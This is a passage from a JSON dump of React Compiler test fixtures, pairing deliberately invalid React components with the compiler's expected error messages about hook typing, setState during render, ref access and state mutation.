    "content": "\n## Input\n\n```javascript\nimport ReactCompilerTest from 'ReactCompilerTest';\n\nfunction Component() {\n  return ReactCompilerTest.useHookNotTypedAsHook();\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Invalid type configuration for module\n\nExpected type for object property 'useHookNotTypedAsHook' from module 'ReactCompilerTest' to be a hook based on the property name.\n\nerror.invalid-type-provider-hook-name-not-typed-as-hook-namespace.ts:4:9\n  2 |\n  3 | function Component() {\n> 4 |   return ReactCompilerTest.useHookNotTypedAsHook();\n    |          ^^^^^^^^^^^^^^^^^ Invalid type configuration for module\n  5 | }\n  6 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-type-provider-hook-name-not-typed-as-hook-namespace.js",
    "content": "import ReactCompilerTest from 'ReactCompilerTest';\n\nfunction Component() {\n  return ReactCompilerTest.useHookNotTypedAsHook();\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-type-provider-hook-name-not-typed-as-hook.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useHookNotTypedAsHook} from 'ReactCompilerTest';\n\nfunction Component() {\n  return useHookNotTypedAsHook();\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Invalid type configuration for module\n\nExpected type for object property 'useHookNotTypedAsHook' from module 'ReactCompilerTest' to be a hook based on the property name.\n\nerror.invalid-type-provider-hook-name-not-typed-as-hook.ts:4:9\n  2 |\n  3 | function Component() {\n> 4 |   return useHookNotTypedAsHook();\n    |          ^^^^^^^^^^^^^^^^^^^^^ Invalid type configuration for module\n  5 | }\n  6 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-type-provider-hook-name-not-typed-as-hook.js",
    "content": "import {useHookNotTypedAsHook} from 'ReactCompilerTest';\n\nfunction Component() {\n  return useHookNotTypedAsHook();\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-type-provider-hooklike-module-default-not-hook.expect.md",
    "content": "\n## Input\n\n```javascript\nimport foo from 'useDefaultExportNotTypedAsHook';\n\nfunction Component() {\n  return <div>{foo()}</div>;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Invalid type configuration for module\n\nExpected type for `import ... from 'useDefaultExportNotTypedAsHook'` to be a hook based on the module name.\n\nerror.invalid-type-provider-hooklike-module-default-not-hook.ts:4:15\n  2 |\n  3 | function Component() {\n> 4 |   return <div>{foo()}</div>;\n    |                ^^^ Invalid type configuration for module\n  5 | }\n  6 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-type-provider-hooklike-module-default-not-hook.js",
    "content": "import foo from 'useDefaultExportNotTypedAsHook';\n\nfunction Component() {\n  return <div>{foo()}</div>;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-type-provider-nonhook-name-typed-as-hook.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {notAhookTypedAsHook} from 'ReactCompilerTest';\n\nfunction Component() {\n  return <div>{notAhookTypedAsHook()}</div>;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Invalid type configuration for module\n\nExpected type for object property 'useHookNotTypedAsHook' from module 'ReactCompilerTest' to be a hook based on the property name.\n\nerror.invalid-type-provider-nonhook-name-typed-as-hook.ts:4:15\n  2 |\n  3 | function Component() {\n> 4 |   return <div>{notAhookTypedAsHook()}</div>;\n    |                ^^^^^^^^^^^^^^^^^^^ Invalid type configuration for module\n  5 | }\n  6 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-type-provider-nonhook-name-typed-as-hook.js",
    "content": "import {notAhookTypedAsHook} from 'ReactCompilerTest';\n\nfunction Component() {\n  return <div>{notAhookTypedAsHook()}</div>;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-uncalled-function-capturing-mutable-values-memoizes-with-captures-values.expect.md",
    "content": "\n## Input\n\n```javascript\n// @flow @enableNewMutationAliasingModel @enablePreserveExistingMemoizationGuarantees:false\n/**\n * This hook returns a function that when called with an input object,\n * will return the result of mapping that input with the supplied map\n * function. Results are cached, so if the same input is passed again,\n * the same output object will be returned.\n *\n * Note that this technically violates the rules of React and is unsafe:\n * hooks must return immutable objects and be pure, and a function which\n * captures and mutates a value when called is inherently not pure.\n *\n * However, in this case it is technically safe _if_ the mapping function\n * is pure *and* the resulting objects are never modified. This is because\n * the function only caches: the result of `returnedFunction(someInput)`\n * strictly depends on `returnedFunction` and `someInput`, and cannot\n * otherwise change over time.\n */\nhook useMemoMap<TInput: interface {}, TOutput>(\n  map: TInput => TOutput\n): TInput => TOutput {\n  return useMemo(() => {\n    // The original issue is that `cache` was not memoized together with the returned\n    // function. This was because neither appears to ever be mutated — the function\n    // is known to mutate `cache` but the function isn't called.\n    //\n    // The fix is to detect cases like this — functions that are mutable but not called -\n    // and ensure that their mutable captures are aliased together into the same scope.\n    const cache = new WeakMap<TInput, TOutput>();\n    return input => {\n      let output = cache.get(input);\n      if (output == null) {\n        output = map(input);\n        cache.set(input, output);\n      }\n      return output;\n    };\n  }, [map]);\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Cannot modify local variables after render completes\n\nThis argument is a function which may reassign or mutate `cache` after render, which can cause inconsistent behavior on subsequent renders. Consider using state instead.\n\n  19 |   map: TInput => TOutput\n  20 | ): TInput => TOutput {\n> 21 |   return useMemo(() => {\n     |          ^^^^^^^^^^^^^^^\n> 22 |     // The original issue is that `cache` was not memoized together with the returned\n     | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n> 23 |     // function. This was because neither appears to ever be mutated — the function\n     …\n> 35 |       return output;\n     | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n> 36 |     };\n     | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n> 37 |   }, [map]);\n     | ^^^^^^^^^^^^ This function may (indirectly) reassign or modify `cache` after render\n  38 | }\n  39 |\n\n  31 |       if (output == null) {\n  32 |         output = map(input);\n> 33 |         cache.set(input, output);\n     |         ^^^^^ This modifies `cache`\n  34 |       }\n  35 |       return output;\n  36 |     };\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-uncalled-function-capturing-mutable-values-memoizes-with-captures-values.js",
    "content": "// @flow @enableNewMutationAliasingModel @enablePreserveExistingMemoizationGuarantees:false\n/**\n * This hook returns a function that when called with an input object,\n * will return the result of mapping that input with the supplied map\n * function. Results are cached, so if the same input is passed again,\n * the same output object will be returned.\n *\n * Note that this technically violates the rules of React and is unsafe:\n * hooks must return immutable objects and be pure, and a function which\n * captures and mutates a value when called is inherently not pure.\n *\n * However, in this case it is technically safe _if_ the mapping function\n * is pure *and* the resulting objects are never modified. This is because\n * the function only caches: the result of `returnedFunction(someInput)`\n * strictly depends on `returnedFunction` and `someInput`, and cannot\n * otherwise change over time.\n */\nhook useMemoMap<TInput: interface {}, TOutput>(\n  map: TInput => TOutput\n): TInput => TOutput {\n  return useMemo(() => {\n    // The original issue is that `cache` was not memoized together with the returned\n    // function. This was because neither appears to ever be mutated — the function\n    // is known to mutate `cache` but the function isn't called.\n    //\n    // The fix is to detect cases like this — functions that are mutable but not called -\n    // and ensure that their mutable captures are aliased together into the same scope.\n    const cache = new WeakMap<TInput, TOutput>();\n    return input => {\n      let output = cache.get(input);\n      if (output == null) {\n        output = map(input);\n        cache.set(input, output);\n      }\n      return output;\n    };\n  }, [map]);\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-unclosed-eslint-suppression.expect.md",
    "content": "\n## Input\n\n```javascript\n// Note: Everything below this is sketchy @validateExhaustiveMemoizationDependencies:false\n/* eslint-disable react-hooks/rules-of-hooks */\nfunction lowercasecomponent() {\n  'use forget';\n  const x = [];\n  return <div>{x}</div>;\n}\n\nfunction Haunted() {\n  return <div>This entire file is haunted oOoOo</div>;\n}\n\nfunction CrimesAgainstReact() {\n  let x = React.useMemo(async () => {\n    await a;\n  }, []);\n\n  class MyAmazingInnerComponent {\n    render() {\n      return <div>Why would you do this</div>;\n    }\n  }\n\n  // Note: This shouldn't reset the eslint suppression to just this line\n  // eslint-disable-next-line react-hooks/rules-of-hooks\n  return <MyAmazingInnerComponent />;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: React Compiler has skipped optimizing this component because one or more React ESLint rules were disabled\n\nReact Compiler only works when your components follow all the rules of React, disabling them may result in unexpected or incorrect behavior. Found suppression `eslint-disable react-hooks/rules-of-hooks`.\n\nerror.invalid-unclosed-eslint-suppression.ts:2:0\n  1 | // Note: Everything below this is sketchy @validateExhaustiveMemoizationDependencies:false\n> 2 | /* eslint-disable react-hooks/rules-of-hooks */\n    | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Found React rule suppression\n  3 | function lowercasecomponent() {\n  4 |   'use forget';\n  5 |   const x = [];\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-unclosed-eslint-suppression.js",
    "content": "// Note: Everything below this is sketchy @validateExhaustiveMemoizationDependencies:false\n/* eslint-disable react-hooks/rules-of-hooks */\nfunction lowercasecomponent() {\n  'use forget';\n  const x = [];\n  return <div>{x}</div>;\n}\n\nfunction Haunted() {\n  return <div>This entire file is haunted oOoOo</div>;\n}\n\nfunction CrimesAgainstReact() {\n  let x = React.useMemo(async () => {\n    await a;\n  }, []);\n\n  class MyAmazingInnerComponent {\n    render() {\n      return <div>Why would you do this</div>;\n    }\n  }\n\n  // Note: This shouldn't reset the eslint suppression to just this line\n  // eslint-disable-next-line react-hooks/rules-of-hooks\n  return <MyAmazingInnerComponent />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-unconditional-set-state-hook-return-in-render.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateNoSetStateInRender @enableTreatSetIdentifiersAsStateSetters\nfunction Component() {\n  const [state, setState] = useCustomState(0);\n  const aliased = setState;\n\n  setState(1);\n  aliased(2);\n\n  return state;\n}\n\nfunction useCustomState(init) {\n  return useState(init);\n}\n\n```\n\n\n## Error\n\n```\nFound 2 errors:\n\nError: Cannot call setState during render\n\nCalling setState during render may trigger an infinite loop.\n* To reset state when other state/props change, store the previous value in state and update conditionally: https://react.dev/reference/react/useState#storing-information-from-previous-renders\n* To derive data from other state/props, compute the derived data during render without using state.\n\nerror.invalid-unconditional-set-state-hook-return-in-render.ts:6:2\n  4 |   const aliased = setState;\n  5 |\n> 6 |   setState(1);\n    |   ^^^^^^^^ Found setState() in render\n  7 |   aliased(2);\n  8 |\n  9 |   return state;\n\nError: Cannot call setState during render\n\nCalling setState during render may trigger an infinite loop.\n* To reset state when other state/props change, store the previous value in state and update conditionally: https://react.dev/reference/react/useState#storing-information-from-previous-renders\n* To derive data from other state/props, compute the derived data during render without using state.\n\nerror.invalid-unconditional-set-state-hook-return-in-render.ts:7:2\n   5 |\n   6 |   setState(1);\n>  7 |   aliased(2);\n     |   ^^^^^^^ Found setState() in render\n   8 |\n   9 |   return state;\n  10 | }\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-unconditional-set-state-hook-return-in-render.js",
    "content": "// @validateNoSetStateInRender @enableTreatSetIdentifiersAsStateSetters\nfunction Component() {\n  const [state, setState] = useCustomState(0);\n  const aliased = setState;\n\n  setState(1);\n  aliased(2);\n\n  return state;\n}\n\nfunction useCustomState(init) {\n  return useState(init);\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-unconditional-set-state-in-render.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateNoSetStateInRender\nfunction Component(props) {\n  const [x, setX] = useState(0);\n  const aliased = setX;\n\n  setX(1);\n  aliased(2);\n\n  return x;\n}\n\n```\n\n\n## Error\n\n```\nFound 2 errors:\n\nError: Cannot call setState during render\n\nCalling setState during render may trigger an infinite loop.\n* To reset state when other state/props change, store the previous value in state and update conditionally: https://react.dev/reference/react/useState#storing-information-from-previous-renders\n* To derive data from other state/props, compute the derived data during render without using state.\n\nerror.invalid-unconditional-set-state-in-render.ts:6:2\n  4 |   const aliased = setX;\n  5 |\n> 6 |   setX(1);\n    |   ^^^^ Found setState() in render\n  7 |   aliased(2);\n  8 |\n  9 |   return x;\n\nError: Cannot call setState during render\n\nCalling setState during render may trigger an infinite loop.\n* To reset state when other state/props change, store the previous value in state and update conditionally: https://react.dev/reference/react/useState#storing-information-from-previous-renders\n* To derive data from other state/props, compute the derived data during render without using state.\n\nerror.invalid-unconditional-set-state-in-render.ts:7:2\n   5 |\n   6 |   setX(1);\n>  7 |   aliased(2);\n     |   ^^^^^^^ Found setState() in render\n   8 |\n   9 |   return x;\n  10 | }\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-unconditional-set-state-in-render.js",
    "content": "// @validateNoSetStateInRender\nfunction Component(props) {\n  const [x, setX] = useState(0);\n  const aliased = setX;\n\n  setX(1);\n  aliased(2);\n\n  return x;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-unconditional-set-state-prop-in-render.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateNoSetStateInRender @enableTreatSetIdentifiersAsStateSetters\nfunction Component({setX}) {\n  const aliased = setX;\n\n  setX(1);\n  aliased(2);\n\n  return x;\n}\n\n```\n\n\n## Error\n\n```\nFound 2 errors:\n\nError: Cannot call setState during render\n\nCalling setState during render may trigger an infinite loop.\n* To reset state when other state/props change, store the previous value in state and update conditionally: https://react.dev/reference/react/useState#storing-information-from-previous-renders\n* To derive data from other state/props, compute the derived data during render without using state.\n\nerror.invalid-unconditional-set-state-prop-in-render.ts:5:2\n  3 |   const aliased = setX;\n  4 |\n> 5 |   setX(1);\n    |   ^^^^ Found setState() in render\n  6 |   aliased(2);\n  7 |\n  8 |   return x;\n\nError: Cannot call setState during render\n\nCalling setState during render may trigger an infinite loop.\n* To reset state when other state/props change, store the previous value in state and update conditionally: https://react.dev/reference/react/useState#storing-information-from-previous-renders\n* To derive data from other state/props, compute the derived data during render without using state.\n\nerror.invalid-unconditional-set-state-prop-in-render.ts:6:2\n  4 |\n  5 |   setX(1);\n> 6 |   aliased(2);\n    |   ^^^^^^^ Found setState() in render\n  7 |\n  8 |   return x;\n  9 | }\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-unconditional-set-state-prop-in-render.js",
    "content": "// @validateNoSetStateInRender @enableTreatSetIdentifiersAsStateSetters\nfunction Component({setX}) {\n  const aliased = setX;\n\n  setX(1);\n  aliased(2);\n\n  return x;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-use-ref-added-to-dep-without-type-info.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateRefAccessDuringRender\nfunction Foo({a}) {\n  const ref = useRef();\n  // type information is lost here as we don't track types of fields\n  const val = {ref};\n  // without type info, we don't know that val.ref.current is a ref value so we\n  // *would* end up depending on val.ref.current\n  // however, this is an instance of accessing a ref during render and is disallowed\n  // under React's rules, so we reject this input\n  const x = {a, val: val.ref.current};\n\n  return <VideoList videos={x} />;\n}\n\n```\n\n\n## Error\n\n```\nFound 2 errors:\n\nError: Cannot access refs during render\n\nReact refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).\n\nerror.invalid-use-ref-added-to-dep-without-type-info.ts:10:21\n   8 |   // however, this is an instance of accessing a ref during render and is disallowed\n   9 |   // under React's rules, so we reject this input\n> 10 |   const x = {a, val: val.ref.current};\n     |                      ^^^^^^^^^^^^^^^ Cannot access ref value during render\n  11 |\n  12 |   return <VideoList videos={x} />;\n  13 | }\n\nError: Cannot access refs during render\n\nReact refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).\n\nerror.invalid-use-ref-added-to-dep-without-type-info.ts:12:28\n  10 |   const x = {a, val: val.ref.current};\n  11 |\n> 12 |   return <VideoList videos={x} />;\n     |                             ^ Cannot access ref value during render\n  13 | }\n  14 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-use-ref-added-to-dep-without-type-info.js",
    "content": "// @validateRefAccessDuringRender\nfunction Foo({a}) {\n  const ref = useRef();\n  // type information is lost here as we don't track types of fields\n  const val = {ref};\n  // without type info, we don't know that val.ref.current is a ref value so we\n  // *would* end up depending on val.ref.current\n  // however, this is an instance of accessing a ref during render and is disallowed\n  // under React's rules, so we reject this input\n  const x = {a, val: val.ref.current};\n\n  return <VideoList videos={x} />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-useMemo-async-callback.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction component(a, b) {\n  let x = useMemo(async () => {\n    await a;\n  }, []);\n  return x;\n}\n\n```\n\n\n## Error\n\n```\nFound 2 errors:\n\nError: useMemo() callbacks may not be async or generator functions\n\nuseMemo() callbacks are called once and must synchronously return a value.\n\nerror.invalid-useMemo-async-callback.ts:2:18\n  1 | function component(a, b) {\n> 2 |   let x = useMemo(async () => {\n    |                   ^^^^^^^^^^^^^\n> 3 |     await a;\n    | ^^^^^^^^^^^^\n> 4 |   }, []);\n    | ^^^^ Async and generator functions are not supported\n  5 |   return x;\n  6 | }\n  7 |\n\nError: Found missing memoization dependencies\n\nMissing dependencies can cause a value to update less often than it should, resulting in stale UI.\n\nerror.invalid-useMemo-async-callback.ts:3:10\n  1 | function component(a, b) {\n  2 |   let x = useMemo(async () => {\n> 3 |     await a;\n    |           ^ Missing dependency `a`\n  4 |   }, []);\n  5 |   return x;\n  6 | }\n\nInferred dependencies: `[a]`\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-useMemo-async-callback.js",
    "content": "function component(a, b) {\n  let x = useMemo(async () => {\n    await a;\n  }, []);\n  return x;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-useMemo-callback-args.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction component(a, b) {\n  let x = useMemo(c => a, []);\n  return x;\n}\n\n```\n\n\n## Error\n\n```\nFound 2 errors:\n\nError: useMemo() callbacks may not accept parameters\n\nuseMemo() callbacks are called by React to cache calculations across re-renders. They should not take parameters. Instead, directly reference the props, state, or local variables needed for the computation.\n\nerror.invalid-useMemo-callback-args.ts:2:18\n  1 | function component(a, b) {\n> 2 |   let x = useMemo(c => a, []);\n    |                   ^ Callbacks with parameters are not supported\n  3 |   return x;\n  4 | }\n  5 |\n\nError: Found missing memoization dependencies\n\nMissing dependencies can cause a value to update less often than it should, resulting in stale UI.\n\nerror.invalid-useMemo-callback-args.ts:2:23\n  1 | function component(a, b) {\n> 2 |   let x = useMemo(c => a, []);\n    |                        ^ Missing dependency `a`\n  3 |   return x;\n  4 | }\n  5 |\n\nInferred dependencies: `[a]`\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-useMemo-callback-args.js",
    "content": "function component(a, b) {\n  let x = useMemo(c => a, []);\n  return x;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-write-but-dont-read-ref-in-render.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateRefAccessDuringRender\nfunction useHook({value}) {\n  const ref = useRef(null);\n  // Writing to a ref in render is against the rules:\n  ref.current = value;\n  // returning a ref is allowed, so this alone doesn't trigger an error:\n  return ref;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Cannot access refs during render\n\nReact refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).\n\nerror.invalid-write-but-dont-read-ref-in-render.ts:5:2\n  3 |   const ref = useRef(null);\n  4 |   // Writing to a ref in render is against the rules:\n> 5 |   ref.current = value;\n    |   ^^^^^^^^^^^ Cannot update ref during render\n  6 |   // returning a ref is allowed, so this alone doesn't trigger an error:\n  7 |   return ref;\n  8 | }\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-write-but-dont-read-ref-in-render.js",
    "content": "// @validateRefAccessDuringRender\nfunction useHook({value}) {\n  const ref = useRef(null);\n  // Writing to a ref in render is against the rules:\n  ref.current = value;\n  // returning a ref is allowed, so this alone doesn't trigger an error:\n  return ref;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-write-ref-prop-in-render.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateRefAccessDuringRender @compilationMode:\"infer\"\nfunction Component(props) {\n  const ref = props.ref;\n  ref.current = true;\n  return <div>{value}</div>;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Cannot access refs during render\n\nReact refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).\n\nerror.invalid-write-ref-prop-in-render.ts:4:2\n  2 | function Component(props) {\n  3 |   const ref = props.ref;\n> 4 |   ref.current = true;\n    |   ^^^^^^^^^^^ Cannot update ref during render\n  5 |   return <div>{value}</div>;\n  6 | }\n  7 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-write-ref-prop-in-render.js",
    "content": "// @validateRefAccessDuringRender @compilationMode:\"infer\"\nfunction Component(props) {\n  const ref = props.ref;\n  ref.current = true;\n  return <div>{value}</div>;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.modify-state-2.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useState} from 'react';\n\nfunction Foo() {\n  const [state, setState] = useState({foo: {bar: 3}});\n  const foo = state.foo;\n  foo.bar = 1;\n  return state;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: This value cannot be modified\n\nModifying a value returned from 'useState()', which should not be modified directly. Use the setter function to update instead.\n\nerror.modify-state-2.ts:6:2\n  4 |   const [state, setState] = useState({foo: {bar: 3}});\n  5 |   const foo = state.foo;\n> 6 |   foo.bar = 1;\n    |   ^^^ value cannot be modified\n  7 |   return state;\n  8 | }\n  9 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.modify-state-2.js",
    "content": "import {useState} from 'react';\n\nfunction Foo() {\n  const [state, setState] = useState({foo: {bar: 3}});\n  const foo = state.foo;\n  foo.bar = 1;\n  return state;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.modify-state.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useState} from 'react';\n\nfunction Foo() {\n  let [state, setState] = useState({});\n  state.foo = 1;\n  return state;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: This value cannot be modified\n\nModifying a value returned from 'useState()', which should not be modified directly. Use the setter function to update instead.\n\nerror.modify-state.ts:5:2\n  3 | function Foo() {\n  4 |   let [state, setState] = useState({});\n> 5 |   state.foo = 1;\n    |   ^^^^^ value cannot be modified\n  6 |   return state;\n  7 | }\n  8 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.modify-state.js",
    "content": "import {useState} from 'react';\n\nfunction Foo() {\n  let [state, setState] = useState({});\n  state.foo = 1;\n  return state;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.modify-useReducer-state.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useReducer} from 'react';\n\nfunction Foo() {\n  let [state, setState] = useReducer({foo: 1});\n  state.foo = 1;\n  return state;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: This value cannot be modified\n\nModifying a value returned from 'useReducer()', which should not be modified directly. Use the dispatch function to update instead.\n\nerror.modify-useReducer-state.ts:5:2\n  3 | function Foo() {\n  4 |   let [state, setState] = useReducer({foo: 1});\n> 5 |   state.foo = 1;\n    |   ^^^^^ value cannot be modified\n  6 |   return state;\n  7 | }\n  8 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.modify-useReducer-state.js",
    "content": "import {useReducer} from 'react';\n\nfunction Foo() {\n  let [state, setState] = useReducer({foo: 1});\n  state.foo = 1;\n  return state;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.mutable-range-shared-inner-outer-function.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableAssumeHooksFollowRulesOfReact @enableTransitivelyFreezeFunctionExpressions\nlet cond = true;\nfunction Component(props) {\n  let a;\n  let b;\n  const f = () => {\n    if (cond) {\n      a = {};\n      b = [];\n    } else {\n      a = {};\n      b = [];\n    }\n    a.property = true;\n    b.push(false);\n  };\n  return <div onClick={f} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n\n## Error\n\n```\nFound 2 errors:\n\nError: Cannot reassign variable after render completes\n\nReassigning `a` after render has completed can cause inconsistent behavior on subsequent renders. Consider using state instead.\n\nerror.mutable-range-shared-inner-outer-function.ts:8:6\n   6 |   const f = () => {\n   7 |     if (cond) {\n>  8 |       a = {};\n     |       ^ Cannot reassign `a` after render completes\n   9 |       b = [];\n  10 |     } else {\n  11 |       a = {};\n\nError: Cannot modify local variables after render completes\n\nThis argument is a function which may reassign or mutate `a` after render, which can cause inconsistent behavior on subsequent renders. Consider using state instead.\n\nerror.mutable-range-shared-inner-outer-function.ts:17:23\n  15 |     b.push(false);\n  16 |   };\n> 17 |   return <div onClick={f} />;\n     |                        ^ This function may (indirectly) reassign or modify `a` after render\n  18 | }\n  19 |\n  20 | export const FIXTURE_ENTRYPOINT = {\n\nerror.mutable-range-shared-inner-outer-function.ts:8:6\n   6 |   const f = () => {\n   7 |     if (cond) {\n>  8 |       a = {};\n     |       ^ This modifies `a`\n   9 |       b = [];\n  10 |     } else {\n  11 |       a = {};\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.mutable-range-shared-inner-outer-function.js",
    "content": "// @enableAssumeHooksFollowRulesOfReact @enableTransitivelyFreezeFunctionExpressions\nlet cond = true;\nfunction Component(props) {\n  let a;\n  let b;\n  const f = () => {\n    if (cond) {\n      a = {};\n      b = [];\n    } else {\n      a = {};\n      b = [];\n    }\n    a.property = true;\n    b.push(false);\n  };\n  return <div onClick={f} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.mutate-function-property.expect.md",
    "content": "\n## Input\n\n```javascript\nexport function ViewModeSelector(props) {\n  const renderIcon = () => <AcceptIcon />;\n  renderIcon.displayName = 'AcceptIcon';\n\n  return <Dropdown checkableIndicator={{children: renderIcon}} />;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: This value cannot be modified\n\nThis modifies a variable that React considers immutable.\n\nerror.mutate-function-property.ts:3:2\n  1 | export function ViewModeSelector(props) {\n  2 |   const renderIcon = () => <AcceptIcon />;\n> 3 |   renderIcon.displayName = 'AcceptIcon';\n    |   ^^^^^^^^^^ value cannot be modified\n  4 |\n  5 |   return <Dropdown checkableIndicator={{children: renderIcon}} />;\n  6 | }\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.mutate-function-property.js",
    "content": "export function ViewModeSelector(props) {\n  const renderIcon = () => <AcceptIcon />;\n  renderIcon.displayName = 'AcceptIcon';\n\n  return <Dropdown checkableIndicator={{children: renderIcon}} />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.mutate-global-increment-op-invalid-react.expect.md",
